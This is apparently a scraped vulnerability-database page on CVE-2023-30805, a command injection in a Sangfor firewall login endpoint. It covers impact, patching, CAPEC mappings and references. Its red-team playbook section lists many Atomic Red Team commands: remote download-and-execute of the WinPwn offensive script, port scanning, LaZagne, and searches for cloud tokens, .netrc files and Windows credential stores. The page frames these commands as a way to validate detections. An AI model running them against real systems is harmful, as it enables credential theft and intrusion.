CVE-2023-30805
Overview
This vulnerability is an operating system command injection flaw rooted in improper sanitization of shell meta-characters within the 'un' parameter of HTTP POST requests. The affected component is the Sangfor Next-Gen Application Firewall version NGAF8.0.17, specifically its /LogInOut.php endpoint. The flaw arises from the application's failure to validate or escape input before passing it to system-level command execution functions, allowing injection of arbitrary commands.
Vulnerability Description
The Sangfor Next-Gen Application Firewall version NGAF8.0.17 is vulnerable to an operating system command injection vulnerability. A remote and unauthenticated attacker can execute arbitrary commands by sending a crafted HTTP POST request to the /LogInOut.php endpoint. This is due to mishandling of shell meta-characters in the "un" parameter.
Impact
An unauthenticated remote attacker can execute arbitrary OS commands on the firewall by exploiting this flaw, potentially gaining full control over the device. No user interaction or prior access is required, as the vulnerability is accessible via network through the HTTP interface (AV:N/AC:L/PR:N/UI:N). This can lead to complete compromise of the firewall, data exfiltration, disruption of network security controls, and lateral movement within the protected environment.
Solution
Sangfor has released updates addressing this vulnerability; users should upgrade the Next-Gen Application Firewall to a patched version beyond 8.0.17 as detailed in vendor advisories available at https://labs.watchtowr.com and https://vulncheck.com. The AWS Marketplace listing also reflects updated product versions. Administrators are advised to follow the vendor's official patch instructions and verify the firewall version to ensure the fix is applied.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Sangfor Next-Gen Application Firewall version NGAF8.0.17 is characterized by an operating system command injection flaw. This issue arises from improper handling of shell meta-characters in the "un" parameter within the /LogInOut.php endpoint. When an attacker crafts a malicious HTTP POST request, they can exploit this weakness to execute arbitrary commands on the underlying operating system. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating that successful exploitation can lead to significant unauthorized access and control over the affected system.
Attack vectors for this vulnerability are particularly concerning due to the remote and unauthenticated nature of the exploitation. An attacker does not need to possess valid credentials to initiate an attack, which significantly lowers the barrier to entry. By sending a specifically crafted HTTP POST request, an attacker can manipulate the input parameters to inject malicious commands. This could lead to a variety of exploitation scenarios, including but not limited to, data exfiltration, system compromise, and lateral movement within the network. The ability to execute arbitrary commands means that an attacker could potentially install malware, alter configurations, or disrupt services, making this vulnerability a critical concern for organizations relying on this firewall for their security posture.
The real-world impact of this vulnerability can be profound, particularly for organizations that depend on the Sangfor Next-Gen Application Firewall as a key component of their cybersecurity infrastructure. Successful exploitation could result in unauthorized access to sensitive data, disruption of critical services, and significant financial losses due to remediation efforts and potential legal liabilities. Furthermore, the reputational damage associated with a security breach can lead to loss of customer trust and market share. Organizations may also face regulatory penalties if they fail to protect sensitive information adequately, further compounding the business risks associated with this vulnerability.
To detect and mitigate the risks associated with this command injection vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching the firewall to the latest version is essential to close known vulnerabilities. Additionally, employing Web Application Firewalls (WAFs) can help filter and monitor HTTP requests to prevent malicious payloads from reaching the application. Conducting regular security assessments, including penetration testing and vulnerability scanning, can also aid in identifying potential weaknesses before they can be exploited. Furthermore, organizations should implement strict input validation and sanitization measures to ensure that user inputs do not contain harmful commands or characters.
In conclusion, the command injection vulnerability in the Sangfor Next-Gen Application Firewall poses a significant threat to organizations utilizing this product. The ease of exploitation, combined with the potential for severe consequences, necessitates immediate attention from cybersecurity professionals. By adopting proactive detection and mitigation strategies, organizations can safeguard their systems against this and similar vulnerabilities, thereby enhancing their overall security posture and resilience against cyber threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Sangfor | Next-Gen Application Firewall | 8.0.17 |
cpe:2.3:a:sangfor:next-gen_application_firewall:8.0.17:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
58%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-30805 |
| labs.watchtowr.com |
GitHub CVE
third-party-advisory
exploit
technical-description
|
https://labs.watchtowr.com/yet-more-unauth-remote-command-execution-vulns-in-firewalls-sangfor-edition/ |
| vulncheck.com |
GitHub CVE
third-party-advisory
|
https://vulncheck.com/advisories/sangfor-ngaf-username-rce |
| aws.amazon.com |
GitHub CVE
product
|
https://aws.amazon.com/marketplace/pp/prodview-uujwjffddxzp4 |